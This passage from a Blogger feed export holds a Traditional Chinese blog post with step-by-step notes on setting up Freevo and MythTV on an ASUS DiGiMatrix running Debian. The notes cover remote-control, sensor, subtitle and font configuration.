href="http://www.alan888.com/phpBB2/index.php"&gt;&lt;/a&gt;&lt;a href="http://technicity.boxhk.com/vipccb/home_files/cover.htm" target="_blank"&gt;&lt;img src="http://www.alan888.com/winxp/images/Tcitylogo.gif" alt="千禧科技城－電腦新知、軟件情 報、網上學堂、聊天室、留言及校外論壇等等" border="0" height="31" width="88" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;td class="body" align="center" width="20%"&gt; &lt;a href="http://www.alan888.com/phpwind/index.php"&gt;&lt;img src="http://www.alan888.com/Discuz/images/phpwind.gif" alt="PHPwind 討論區 - 演示用" border="0" /&gt;&lt;/a&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;  &lt;style&gt; &lt;!-- BODY { 	scrollbar-base-color : #2A538C; 	scrollbar-dark-shadow-color : #000000; 	scrollbar-arrow-color : #FFFFFF; 	scrollbar-3d-light-color : #CCCCFF; 	scrollbar-face-color : #4C6DA3; 	scrollbar-shadow-color : #173C73; 	scrollbar-highlight-color : #173C73; }  &lt;/style&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-106704617496621464?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.alan888.com/winxp/Optimize.html' title='優化XP設定'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/106704617496621464/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=106704617496621464' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/106704617496621464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/106704617496621464'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/11/xp.html' title='優化XP設定'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-76866258194778010</id><published>2008-11-12T00:03:00.000-08:00</published><updated>2008-11-12T00:03:00.161-08:00</updated><title type='text'>阿呆的blog: DiGiMatrix與MythTV、Freevo</title><content type='html'>&lt;a href="http://ycfunet.blogspot.com/2006/04/digimatrixmythtvfreevo.html"&gt;阿呆的blog: DiGiMatrix與MythTV、Freevo&lt;/a&gt;&lt;br /&gt;接續前篇，DiGiMatrix是MediaCenter最好的選擇，如果搭配MCE2005，應該很不錯用才是。&lt;br /&gt;&lt;br /&gt;但是，我不希望住進M$的套房，一日為M$的奴隸，終身都是M$的奴隸。&lt;br /&gt;&lt;br /&gt;M$出 的MCE2005真的不錯，沒話說，它又自己定了MCE的標準，讓播放軟體(PowerDVD、WinDVD)、燒錄軟體(Nero)有了依循的標準，背 後又帶來了小小的商機，目前看到的是，PowerDVD、WinDVD、Nero多了MCE的mark，就貴了幾百元。&lt;br /&gt;&lt;br /&gt;不過不能不說M$真的很行，MCE這樣一搞，不但擴大了市場，同時也讓MCE的彈性大大的增加，MCE搭配這些軟體後，可以支援燒錄、影音播放...等功能，隨著支援的軟體便多，這樣的彈性會在增加。&lt;br /&gt;&lt;br /&gt;而Linux上，只有兩套主流的Media Center可以選擇，分別是 Freevo 和 MythTV，當然啦～～&lt;br /&gt;XBOX上的那個GeeXBox也可以，不過我初步看起來，它有點像是LiveCD的形式，好像只能作成制式化電腦，不符合DiGiMatrix的強大功能。&lt;br /&gt;&lt;br /&gt;Freevo 是我一開始的選擇，也是唯一有中文參考資料的Media Center軟體，可是很不幸的，我發現它對中文、日文有嚴重問題，而且問題是出在 Python 上，這讓我到後來很是難過和生氣，憤而跳到 MythTV 上，可是在當時，我實際上已經把 Freevo 設定得很完善了，大概有個七、八成吧～～～&lt;br /&gt;&lt;br /&gt;MythTV就還不錯，搭配了之前Freevo的一些經驗法則(Mplayer、XINE設定)，它的進度其實滿快的，問題也少很多，算得上是很不錯的。&lt;br /&gt;&lt;br /&gt;下 面我會把我的心得貼出來，原則上是一堆步驟，中間參雜一些些說明，這分文件最早，是用來紀錄的，因為Freevo或是MythTV的安裝流程很複雜，中間 要設定的很多，所以寫分文件來紀錄，怕自己忘了，所以一開始的步驟內容很少，只有大略的提到key point，後面有了把它變成文件的想法，所以到後來慢慢出現一些解釋和說明。&lt;br /&gt;&lt;br /&gt;而我要說得是，Freevo和MythTV的中文設定文件實在少得可憐，Freevo有一篇，MythTV完全沒有，怎麼搜尋都是介紹兩者差異，對於安裝、設置完全沒提，一點幫助都沒有。&lt;br /&gt;&lt;br /&gt;我希望我這篇，可以帶來一些迴響，讓多點人來玩，說不定po到moto學園是不錯的主意。&lt;br /&gt;&lt;br /&gt;像MythTV，急需要中文翻譯，我在念研究所，實在沒時間翻譯，想到就腳軟，但是我還是希望看到中文阿～～&lt;br /&gt;&lt;br /&gt;==================================================================&lt;br /&gt;這邊我們使用 DiGiMatrix，這台 ASUS 前幾年推出的資訊電腦，&lt;br /&gt;它的好處在於，Linux 對它有非常好的支援性，包括了 無線網路卡、電視卡、遙控器、調節式CPU風扇(Q-FAN)、前置面板 都有很好的支援，&lt;br /&gt;而其他的顯示卡、音效卡、IDE、網路卡...就根本不用說了。&lt;br /&gt;&lt;br /&gt;DiGiMatrix 的 電視卡，使用的是 713x 系列的卡，713x 系列卡在 Linux 上支援還ok，而 DiGiMatrix 的更是被很多人 patch 過了。&lt;br /&gt;在我使用的新版 kernel，甚至連 選台器 的參數和 電視卡 的參數都不用設，直接抓出正確值。&lt;br /&gt;&lt;br /&gt;遙控器，在 Linux 上多使用 LIRC，DiGiMatrix 在 LIRC 中，根本是獨立一個來支援，完全支援 DiGiMatrix 的遙控。&lt;br /&gt;而 DiGiMatrix 的遙控器，是使用 it87 修改版的，因此在 LIRC 的支援中，算是 it87 的分支。&lt;br /&gt;&lt;br /&gt;無線網路卡，DiGiMatrix 是使用 RT2400 的驅動程式，非常好裝，在 Debian 下，只需要裝個 rt2400 套件即可搞定，&lt;br /&gt;當然啦，為了顯示名稱的好看，我則在步驟中加入了 alias rt2400 ra0，將網路卡名稱改為 ra0，&lt;br /&gt;而且這個無線網路卡，在 Windows 上直接支援 SoftAP，在 Linux 上，我沒試過將它做成 SoftAP 過，可以 try try 看。&lt;br /&gt;理想上，是直接當家裡 AP 的 repeater，這就很棒了。&lt;br /&gt;&lt;br /&gt;Q-FAN 很有趣，在 Linux 上，我們可以直接設置風扇的轉速(依百分比來設置)，也可以自動判斷，判斷條件我們可以自訂。&lt;br /&gt;前置面板 也很有趣，目前可以顯示 時間 和 CPU 溫度，未來說不定改成室外溫度。&lt;br /&gt;&lt;br /&gt;顯示卡、IDE 使用 SiS 的，因此裝了 sisctrl 後，我們可以很方便的在 Linux 上設置它(就像 Windows 上的顯示設定)。&lt;br /&gt;&lt;br /&gt;音效卡在 Linux 上直接用 Intel i810 的驅動即可，我使用的是 ALSA，因此要先裝 alsa-base 套件才能使用。&lt;br /&gt;設定上，直接用 alsamixer 即可。&lt;br /&gt;&lt;br /&gt;幾個會用到的設定檔，包括&lt;br /&gt;source.list(加入 Freevo、sis、mythtv...等站台)&lt;br /&gt;mplayer.conf(改的不同，大致下面有列)&lt;br /&gt;xine/config(改很多，原則上直接貼上再改)&lt;br /&gt;xorg.conf(參照網路上 DiGiMatrix 的依家裡電視稍作修改)&lt;br /&gt;幾個啟動檔，&lt;br /&gt;包括 lirc(LIRC編譯好便會產生在 contrib 目錄下，&lt;br /&gt;以及 asusfan.sh、setpanel.sh、mythtv-frontend 三個，這三個為自己修改&lt;br /&gt;&lt;br /&gt;mythtv-frontend 是 Mythtv Frontend 的啟動檔，它總共需要三個檔案，包括了&lt;br /&gt;mythtv-frontend&lt;br /&gt;~/.xinitrc&lt;br /&gt;~/init-frontend.sh&lt;br /&gt;&lt;br /&gt;這幾個檔案是參考&lt;br /&gt;http://home.comcast.net/~spuppet/myth.html&lt;br /&gt;&lt;br /&gt;再修改之後得到了。&lt;br /&gt;&lt;br /&gt;kernel，kernel config 是參考網路上 DiGiMatrix 的 2.6.8 設定檔沿用的，使用上沒有問題。&lt;br /&gt;&lt;br /&gt;而下面的步驟，先會將 freevo 的整個安裝流程寫出，之後會將整個 mythtv 的安裝流程寫出。&lt;br /&gt;&lt;br /&gt;整個設置涵蓋：&lt;br /&gt;LIRC&lt;br /&gt;lm-sensor(LIRC 使用前，要先設置好 lm-sensor，不然根本無法驅動 it87)&lt;br /&gt;mplayer&lt;br /&gt;xine&lt;br /&gt;wireless(iwconfig、interface等設置，算通用的設定)&lt;br /&gt;X.org&lt;br /&gt;ALSA&lt;br /&gt;kernel source&lt;br /&gt;NFS&lt;br /&gt;Samba(NFS、Samba 為網路分享使用)&lt;br /&gt;VNC(VNC為遠端控制使用)&lt;br /&gt;mythtv&lt;br /&gt;Freevo(mythtv or Freevo)&lt;br /&gt;python(Freevo 是使用 Python 直譯語言寫的，因此和 python 的關係密切，很多支援要靠 python，像 Freevo 要支援遙控器，要先安裝 python-lirc)&lt;br /&gt;gdm(Freevo 時使用，不過後來的 mythtv-frontend 啟動則不再需要了，同樣的設定檔經過修改，也可用於 Freevo，至此不需要 gdm 了)&lt;br /&gt;win32codec(新增加 codec，像是 rmvb、mov 等都需要，算包進了 mplayer 和 xine 中，獨立寫出罷了)&lt;br /&gt;部分 V4L(在使用 v4lctrl 時會需要稍微知道一點)&lt;br /&gt;xawtv、tvtime(電視卡的設置，原則上 Freevo 要吃 tvtime，Mythtv 的 TV 功能內建了，不過需要 xawtv 的設定程式(v4lctrl))&lt;br /&gt;&lt;br /&gt;幾個 DiGiMatrix 的參考網站：&lt;br /&gt;http://people.easter-eggs.org/~yack/digimatrix/&lt;br /&gt;http://www.orangeek.org/digimatrix/digimatrix_linux.html&lt;br /&gt;http://www.outertrack.com/digimatrix/index.php&lt;br /&gt;&lt;br /&gt;(2006-04-02)&lt;br /&gt;目前，EPG 部分尚未弄出來。&lt;br /&gt;==================================================================================================================&lt;br /&gt;按一般安裝Debian,更新 unstable 後&lt;br /&gt;&lt;br /&gt;1.先裝 openssh-server&lt;br /&gt;&lt;br /&gt;2.改 sources.list 加入 freevo,sis&lt;br /&gt;&lt;br /&gt;2. 安裝 x-window-system,freevo,w32codecs(不用裝，可以直接使用 mplayer 網站上的 codec，解壓縮後改為 /usr/lib/win32 ),幾個 ttf 中文(繁/簡體字型) 並將 mplayer-386 改為 mplayer-586&lt;br /&gt;(註解：apt 裡面的 mplayer 的 rmvb 會有影音不同步的問題,可以參照 http://www.princessleia.com/MPlayer.php 網站一步步將 mplayer 編譯出來,編譯出的最新版本沒有不同步問題,中文字幕問題似乎也可以解決)&lt;br /&gt;(/etc/mplayer/mplayer.conf修改如下)&lt;br /&gt;=============================================&lt;br /&gt;### mplayer DEBCONF AREA. DO NOT EDIT THIS AREA OR INSERT TEXT BEFORE IT.&lt;br /&gt;# MPlayer video output driver, configured by mplayer.deb&lt;br /&gt;vo=xv&lt;br /&gt;&lt;br /&gt;### END OF DEBCONF AREA.  PLACE YOUR EDITS BELOW; THEY WILL BE PRESERVED.&lt;br /&gt;subfont-encoding=unicode&lt;br /&gt;subcp=big5&lt;br /&gt;unicode=yes&lt;br /&gt;zoom=yes&lt;br /&gt;stop-xscreensaver=yes&lt;br /&gt;=============================================&lt;br /&gt;(在 ~/.mplayer/ 要 link 字型進去,link 成 ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf subfont.ttf)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3.安裝 swat(samba),vsftpd,aee,ee,joe&lt;br /&gt;&lt;br /&gt;4.安裝 kernel 編譯相關套件,libncurses5-dev,kernel-package,dialog&lt;br /&gt;&lt;br /&gt;5.將 ln -s linux-source-2.6.15 linux&lt;br /&gt;&lt;br /&gt;6.安裝套件 lm-sensors ,將 linux-source-2.6.15(自己改過的kernel的source) 解壓縮,將 lm_sensors-2.9.2.tar.gz 解壓縮&lt;br /&gt;&lt;br /&gt;7.進入 lm_sensors 目錄,執行 make user,之後 make user_install&lt;br /&gt;&lt;br /&gt;8.在 /etc/ld.so.conf 加入 /usr/local/lib,執行 ldconfig&lt;br /&gt;&lt;br /&gt;9.安裝 lirc(不裝套件),將 lirc-0.8.0.tar.bz2解壓縮&lt;br /&gt;&lt;br /&gt;10.執行 ./setup.sh 選項 1 選 digimatrix 選項 3 選，之後執行 make &amp;amp;&amp;amp; make install&lt;br /&gt;&lt;br /&gt;11.安裝 modconf,進入後將 lirc_dev,lirc_it87,i2c-dev,i2c-isa 安裝(lirc 需要安裝過 lirc_it87)&lt;br /&gt;&lt;br /&gt;12.將 lirc 放到 /etc/init.d/ ,執行 cp /usr/src/lirc-0.8.0/contrib/lirc.debian /etc/init.d/lirc&lt;br /&gt;&lt;br /&gt;13.之後執行 update-rc.d lirc defaults 20&lt;br /&gt;&lt;br /&gt;14.如果進入後沒聲音，檢查是否有將 freevo 執行的帳號加入到一堆群組中(比照預設的 user 帳號辦理)&lt;br /&gt;&lt;br /&gt;15.鍵盤對應參照 freevo 的 src/event.py 和 /etc/lircd.conf 修改，修改後存檔成 /etc/lircrc&lt;br /&gt;&lt;br /&gt;16.要支援rmvb，要安裝win32codec套件，之後將/usr/share/doc/mplayer-586/codecs.conf.gz複製到/etc/mplayer/並解壓縮&lt;br /&gt;&lt;br /&gt;17.修改 /etc/mplayer/mplayer.conf&lt;br /&gt;vo=xv 註解拿掉(在X11環境時,使用顯示卡硬體加速)&lt;br /&gt;slang=zh(DVD預設字幕,不知道有沒有用處)&lt;br /&gt;fontconfig = yes&lt;br /&gt;font = "/usr/share/fonts/truetype/cwtex/center/cwyen.ttf"&lt;br /&gt;subfont-text-scale = 3&lt;br /&gt;subcp = cp950&lt;br /&gt;vo=xv&lt;br /&gt;spuaa=2&lt;br /&gt;(以上支援中文字幕用,font後面指定字幕用的字型檔)&lt;br /&gt;&lt;br /&gt;17b.安裝 xine,先安裝套件 libxine1,libxine1-dev,之後再安裝 xine-ui&lt;br /&gt;&lt;br /&gt;17b.要讓 xine 支援中文字幕,參照 http://www.ubuntu.org.tw/modules/newbb/viewtopic.php?topic_id=44&amp;amp;forum=10&lt;br /&gt;&lt;br /&gt;18.修改 ee /etc/modutils/aliases 加入 alias ra0 rt2400&lt;br /&gt;&lt;br /&gt;19.安裝 gdm&lt;br /&gt;&lt;br /&gt;20.確定 /dev/lirc 權限,執行 chmod 666 /dev/lirc*&lt;br /&gt;如果有問題，可以直接使用 lircd --device=/dev/lirc /etc/lircd.conf -n 來檢查&lt;br /&gt;如果說沒有 /dev/lirc，可以直接改 /etc/init.d/lirc 裡面的 /dev/lirc 改為 /dev/lirc0&lt;br /&gt;&lt;br /&gt;21.設定 gdm 加入 freevo 項目&lt;br /&gt;以 Debian 來說,gdm項目放在 /usr/share/gdm/BuiltInSessions/&lt;br /&gt;可以查 /etc/X11/gdm/gdm.conf 裡面的 SessionDesktopDir&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;新增檔案 /usr/share/gdm/BuiltInSessions/freevo.desktop&lt;br /&gt;===============================&lt;br /&gt;[Desktop Entry]&lt;br /&gt;Encoding=UTF-8&lt;br /&gt;Name=freevo&lt;br /&gt;Comment=freevo&lt;br /&gt;TryExec=/usr/bin/freevo&lt;br /&gt;Exec=/usr/bin/freevo&lt;br /&gt;Icon=&lt;br /&gt;Type=Application&lt;br /&gt;===============================&lt;br /&gt;&lt;br /&gt;新增檔案 ~/.dmrc(權限,Owner要注意)&lt;br /&gt;===============================&lt;br /&gt;[Desktop]&lt;br /&gt;Session=freevo&lt;br /&gt;Language=zh_TW.UTF-8&lt;br /&gt;===============================&lt;br /&gt;&lt;br /&gt;22.將 lircrc 複製到 /etc/ 並確定 local_conf.py 中 lircrc 檔案位置的設定正確&lt;br /&gt;不確定時可以使用&lt;br /&gt;irw&lt;br /&gt;ircat --config=/etc/lircrc freevo&lt;br /&gt;進行驗證&lt;br /&gt;&lt;br /&gt;23.到 cd /usr/share/fonts/truetype/ 看看有沒有安裝中文字型,沒有安裝就先安裝好(包括直接解壓縮 fireflysung)&lt;br /&gt;&lt;br /&gt;24.要查看 freevo 狀態，可以看 /tmp/freevo/main-1000.log 紀錄檔&lt;br /&gt;&lt;br /&gt;25.建立目錄 /var/cache/freevo 並改權限&lt;br /&gt;mkdir /var/cache/freevo&lt;br /&gt;chown media.root /var/cache/freevo&lt;br /&gt;&lt;br /&gt;26.如果自己裝 freevo，要記得裝 PyLirc，http://pylirc.mccabe.nu/&lt;br /&gt;&lt;br /&gt;23.到 cd /usr/share/freevo/fonts&lt;br /&gt;&lt;br /&gt;24.建立目錄 mkdir backup&lt;br /&gt;&lt;br /&gt;25.將所有字型備份 cp *.ttf backup/&lt;br /&gt;&lt;br /&gt;26.將 VeraBd.ttf 和 VeraBI.ttf 連結到其他中文字型&lt;br /&gt;rm VeraBd.ttf &amp;amp;&amp;amp; ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf VeraBd.ttf&lt;br /&gt;rm VeraBI.ttf &amp;amp;&amp;amp; ln -s /usr/share/fonts/truetype/cwtex/center/cwyen.ttf VeraBI.ttf&lt;br /&gt;&lt;br /&gt;27.要編譯 setpanel 來控制 LED 面板，首先到 http://asusfan.linux-site.net/ 下載 setpanel，之後安裝套件 libasound2-dev，即可。&lt;br /&gt;&lt;br /&gt;28.安裝 vncserver,到 real-vnc 網站下載,不過要記得先裝 libstdc++2.10-glibc2.2 套件&lt;br /&gt;&lt;br /&gt;29.http://asusfan.linux-site.net/asusfan.html Sensor 設定檔和自動風扇控制程式&lt;br /&gt;&lt;br /&gt;30.風扇設定和面板設定參數如下：&lt;br /&gt;setpanel -D "000000" -l -T &amp;amp;&lt;br /&gt;asusfan -m 35 -o 40 -g 3 -i 或者 asusfan -m 40 -g 3 -o 33 -i 這兩個是網站上的推薦，不過似乎不大適用，&lt;br /&gt;簡單說，-m 表示最低的風扇速度，-o 表示最低風扇速度的溫度&lt;br /&gt;目前我的設定:&lt;br /&gt;asusfan -m 0 -g 3 -o 38 -i &amp;amp;&lt;br /&gt;&lt;br /&gt;總結：&lt;br /&gt;python 目前對 big5 不支援，不支援中文編碼，在 2.3 版時需要額外安裝 cjkcodec，我裝後效果並不顯著.....&lt;br /&gt;python 2.4 把 cjkcodec 納入，但 Freevo 對 python 2.4 似乎還不非常完整的支援，我沒試過～～&lt;br /&gt;經過了快 2個月 的使用測試，Freevo 對中文的支援實在是十分的有問題(或者該說 python 對中文的支援)，&lt;br /&gt;讓我不敢親近他.....&lt;br /&gt;&lt;br /&gt;因此我決定跳巢使用 MythTV，至少試看看情況如何，&lt;br /&gt;在這兩個月中，我看到了莫名其妙的狀態，例如這個目錄中文正常，另一個目錄卻是亂碼，&lt;br /&gt;甚至亂碼還同時出現有方塊字和亂碼，Freevo 讓我太失望了。&lt;br /&gt;我深深了解方塊字表示的是能顯示但字型檔沒這個字，可是我換了 n種中文，沒一個能解，又偏偏不是所有字都如此，&lt;br /&gt;中文字型對應我也做了，我只能說，該做的我都做了，但現實環境是 python 要再加油～～&lt;br /&gt;看著 Linux 上最著名了兩套 Media Center 軟體，一套表現的如此讓人難過，&lt;br /&gt;深深感覺，也許花 5000 大洋買套 MCE2005 會實在許多，儘管 M$ 我不喜歡，儘管買下去後就進了 M$ 的牢房，&lt;br /&gt;但 M$ 展現的，是完全沒有中文問題，功能十分齊全，支援非常廣泛，將 Media Center 的硬體完全發揮，&lt;br /&gt;相較於連個中文，連個 TV GUIDE 都搞不出來的 Freevo，我只能說 Freevo 要再加油～～&lt;br /&gt;&lt;br /&gt;MythTV：&lt;br /&gt;目前較需要注意的部分....&lt;br /&gt;&lt;br /&gt;1.安裝好之後，它會建立 mythtv 帳號，不用額外使用 media 帳號&lt;br /&gt;2.安裝時，會選擇 mysql 密碼，這邊的 mysql 密碼是 MythTV 連上 mysql 時用的&lt;br /&gt;3.安裝好後，先把 MythTV 在 mysql 的資料庫設置好，如下：&lt;br /&gt;mysql -u root mythconverg&lt;br /&gt;mysql&gt; grant all on mythconverg.* to mythtv@"%" identified by "mythtv";&lt;br /&gt;mysql&gt; flush privileges;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mplayer字幕位置問題：&lt;br /&gt;mplayer看電影的時候有個討厭的地方，而這點 xine 做得比較好，討厭的地方在於字幕的位置，&lt;br /&gt;mplayer在放片子的時候，字幕會在影片上，要就是擋到影片，要就是被影片擋到看不清楚，&lt;br /&gt;明明下面一大塊黑色的區塊，卻這樣搞.......&lt;br /&gt;&lt;br /&gt;http://forums.gentoo.tw/viewtopic.php?p=55205&lt;br /&gt;上面網址提到解決方案，可以使用&lt;br /&gt;mplayer -vf expand=0:-50:0:0&lt;br /&gt;&lt;br /&gt;這樣會在影片下面多出 50像素 的黑邊，接著便可以把字幕移到那裡，可是對於像是 Hero 這樣的 4:3 影片，&lt;br /&gt;則會將左右也縮減，在下面產生 50像素 的黑邊。&lt;br /&gt;&lt;br /&gt;經測試，使用如下&lt;br /&gt;-vf expand=0:-65:0:0&lt;br /&gt;&lt;br /&gt;65像素 在兩行字時，都會在黑色區域內，距離適中。&lt;br /&gt;&lt;br /&gt;MythTV 的中文問題，MythTV 的中文問題可以分兩部分：&lt;br /&gt;一個部分是中文掉字(中文缺字)的問題&lt;br /&gt;另一個部分是文字傾斜(文字上飄)的問題&lt;br /&gt;&lt;br /&gt;中文掉字問題其實是因為缺字，MythTV裡面很多部分使用了 Arial 這個字型，&lt;br /&gt;Arial 這個字體似乎不錯，也似乎夠完整，所以很多英文軟體都喜歡用它(Freevo也是...)，&lt;br /&gt;不過 Arial 中文字數不足，因此很多字它沒有，就會造成『魔法家庭』-&gt;『魔　家　』，&lt;br /&gt;因此解決方案不難，透過修改 /etc/fonts/fonts.conf 或者新增 ~/.fonts.conf 來改進，&lt;br /&gt;建議，以新增 ~/.fonts.conf 較好，&lt;br /&gt;一方面一般都建議避免修改 /etc/fonts/fonts.conf，&lt;br /&gt;另一方面這個檔案可能因為系統更新而被竄改。&lt;br /&gt;&lt;br /&gt;而 fonts.conf 的關鍵是下面這些內容：&lt;br /&gt;================================================================&lt;br /&gt;&lt;!--&lt;br /&gt;  URW provides metric and shape compatible fonts for these 3 Adobe families.&lt;br /&gt;  --&gt;&lt;br /&gt;       &lt;alias&gt;&lt;br /&gt;               &lt;family&gt;Arial&lt;/family&gt;&lt;br /&gt;               &lt;accept&gt;&lt;br /&gt;                       &lt;family&gt;AR PL ShanHeiSun Uni&lt;/family&gt;&lt;br /&gt;               &lt;/accept&gt;&lt;br /&gt;       &lt;/alias&gt;&lt;br /&gt;=================================================================&lt;br /&gt;&lt;br /&gt;這些內容的功能，是以 XXX (AR PL ShanHeiSun Uni)字型來代換 Arial 字型。&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;而文字傾斜問題在網路上有人提過了，不過他稱它為『文字上飄』：&lt;br /&gt;http://moto.debian.org.tw/viewtopic.php?t=8621&amp;amp;highlight=%E4%B8%8A%E9%A3%84&lt;br /&gt;&lt;br /&gt;而解決方案在：&lt;br /&gt;http://moto.debian.org.tw/viewtopic.php?p=42973&amp;amp;highlight=#42973&lt;br /&gt;&lt;br /&gt;搞了半天，這是已知的中文化 bug，透過將幾個程式修正，即可解決，而且似乎還會順道支援粗體字。&lt;br /&gt;&lt;br /&gt;電視沒聲音：&lt;br /&gt;找出問題了，問題很簡單，也很白痴，不過也得到了證實......&lt;br /&gt;&lt;br /&gt;DiGiMatrix 的 電視，在 ALSA 中，是由 AUX 控制的，預設是靜音，只要把它打開即可！！&lt;br /&gt;而 alsamixer 都不會用，真的很笨，設為靜音後，音量多大聲都沒用，這也許是 ALSA 設計時不夠細心吧～～&lt;br /&gt;要開啟/關閉靜音，使用『m』鍵。&lt;br /&gt;&lt;br /&gt;Mythtv 還是沒聲音阿：&lt;br /&gt;上述方法可以解決 xawtv 沒聲音的問題，不過 Mythtv 仍然沒辦法解，因為 Mythtv 還有個地方要注意的，&lt;br /&gt;那就是要執行&lt;br /&gt;&lt;br /&gt;/usr/bin/v4lctl volume mute off&lt;br /&gt;&lt;br /&gt;執行完後，Mythtv 便有聲音了&lt;br /&gt;&lt;br /&gt;按照上面設定，有聲音了，但是卻不會和電視同步，而且一進MythTV就有聲音，怎麼辦？&lt;br /&gt;操照下面步驟42 中，關於 MythTV 的聲音設定。&lt;br /&gt;&lt;br /&gt;新 Mythtv 步驟：&lt;br /&gt;&lt;br /&gt;1.按照一般安裝，之後更新為 sid&lt;br /&gt;&lt;br /&gt;2.安裝套件 openssh-server,lm-sensors,alsa-base&lt;br /&gt;&lt;br /&gt;3.執行 dpkg-reconfigure locales 改為 zh_TW.UTF-8，其他該加的加加&lt;br /&gt;&lt;br /&gt;4.執行 dpkg -i /home/backup/kernel-MyDiGiMatrix***.deb，並將 /boot/grub/menu 內的 default 改到 2(自己 compile 的那個)，以及 等待秒數&lt;br /&gt;&lt;br /&gt;5.重新開機&lt;br /&gt;&lt;br /&gt;6.安裝套件 rt2400,ttf-arphic-*(兩個繁體，兩個簡體，兩個 Unicode)&lt;br /&gt;&lt;br /&gt;7.修改 vi /etc/modutils/aliases 加入 alias ra0 rt2400&lt;br /&gt;&lt;br /&gt;8.安裝 CwTex字型&lt;br /&gt;&lt;br /&gt;9.安裝 mplayer_1.0cvs_i386.deb 和 xine-ui_0.99.3-2_i386.deb 套件(這兩個套件的產生，參照前面的兩個網址)&lt;br /&gt;&lt;br /&gt;10.執行 aptitude 將上述兩個套件的相依套件裝好&lt;br /&gt;&lt;br /&gt;11.安裝套件 sisctrl(會安裝到跟 X 有關的套件，解析度把 1024x768 勾掉)&lt;br /&gt;&lt;br /&gt;12.建立目錄 /etc/mythtv&lt;br /&gt;&lt;br /&gt;13.安裝套件 mythtv,mythdvd,mythvideo&lt;br /&gt;&lt;br /&gt;14.設定 asusfan 和 setpanel&lt;br /&gt;cd /etc/init.d/&lt;br /&gt;cp /home/backup/asusfan.sh .&lt;br /&gt;chmod 755 asusfan.sh&lt;br /&gt;cp /home/backup/setpanel.sh .&lt;br /&gt;chmod 755 setpanel.sh&lt;br /&gt;update-rc.d asusfan.sh defaults 20&lt;br /&gt;update-rc.d setpanel.sh defaults 20&lt;br /&gt;cd /usr/local/sbin/&lt;br /&gt;cp /home/backup/setpanel .&lt;br /&gt;cp /home/backup/asusfan .&lt;br /&gt;chmod 755 setpanel&lt;br /&gt;chmod 755 asusfan&lt;br /&gt;&lt;br /&gt;15.安裝套件 kernel-package,dialog,bzip2,modconf&lt;br /&gt;&lt;br /&gt;16.將 kernel source,lm-sensors,lirc 解壓縮到 /usr/src/ 並設 linux 連結(ln -s linux-source-2.6.15 linux)&lt;br /&gt;&lt;br /&gt;17.將 all-*******.tar.bz2 解壓縮到 /usr/lib/&lt;br /&gt;(win32codec 的手動安裝方式)&lt;br /&gt;&lt;br /&gt;18.將 /usr/lib/all 改為 /usr/lib/win32，並變更為 root.root 權限&lt;br /&gt;mv all-20050412 win32&lt;br /&gt;chown root.root win32&lt;br /&gt;&lt;br /&gt;19.安裝 x-window-system-core,vnc4server&lt;br /&gt;&lt;br /&gt;20.安裝 samba,swat&lt;br /&gt;&lt;br /&gt;21.執行 vnc4server，在將它 kill，修改 ~/.vnc/xstartup 把 twm &amp;amp; 改為 mythtv-setup，再執行 vnc4server&lt;br /&gt;&lt;br /&gt;22.選項 1 ～ 4 執行一輪，之後離開.....kill vnc，執行 /etc/cron.daily/mythtv-backend&lt;br /&gt;&lt;br /&gt;23.安裝套件 bison,flex&lt;br /&gt;&lt;br /&gt;24.安裝套件 lm-sensors ,將 linux-source-2.6.15(自己改過的kernel的source) 解壓縮,將 lm_sensors-2.9.2.tar.gz 解壓縮&lt;br /&gt;&lt;br /&gt;25.進入 lm_sensors 目錄,執行 make user,之後 make user_install&lt;br /&gt;&lt;br /&gt;26. /etc/ld.so.conf 加入 /usr/local/lib,執行 ldconfig&lt;br /&gt;&lt;br /&gt;27.安裝 lirc(不裝套件),將 lirc-0.8.0.解壓縮&lt;br /&gt;&lt;br /&gt;28.執行 ./setup.sh 選 digimatrix 之後選 make &amp;amp;&amp;amp; make install&lt;br /&gt;&lt;br /&gt;29.安裝 modconf,進入後將 lirc_dev,lirc_it87,i2c-dev,i2c-isa 安裝(lirc 需要安裝過 lirc_it87)&lt;br /&gt;&lt;br /&gt;30.將 lirc 放到 /etc/init.d/ ,執行 cp /usr/src/lirc-0.8.0/contrib/lirc.debian /etc/init.d/lirc&lt;br /&gt;&lt;br /&gt;31.將 /etc/init.d/lirc 內的 --device=/dev/lirc 改為 --device=/dev/lirc0&lt;br /&gt;&lt;br /&gt;32.之後執行 update-rc.d lirc defaults 20&lt;br /&gt;&lt;br /&gt;33.修改自己的 fonts.conf 設定檔，cp /etc/fonts/conf.d/ttf-arphic-uming ~mythtv/.fonts.conf，加入下列&lt;br /&gt;================================================================&lt;br /&gt;&lt;!--&lt;br /&gt;  URW provides metric and shape compatible fonts for these 3 Adobe families.&lt;br /&gt;  --&gt;&lt;br /&gt;       &lt;alias&gt;&lt;br /&gt;               &lt;family&gt;Arial&lt;/family&gt;&lt;br /&gt;               &lt;accept&gt;&lt;br /&gt;                       &lt;family&gt;AR PL ShanHeiSun Uni&lt;/family&gt;&lt;br /&gt;               &lt;/accept&gt;&lt;br /&gt;       &lt;/alias&gt;&lt;br /&gt;=================================================================&lt;br /&gt;&lt;br /&gt;34.設定讓 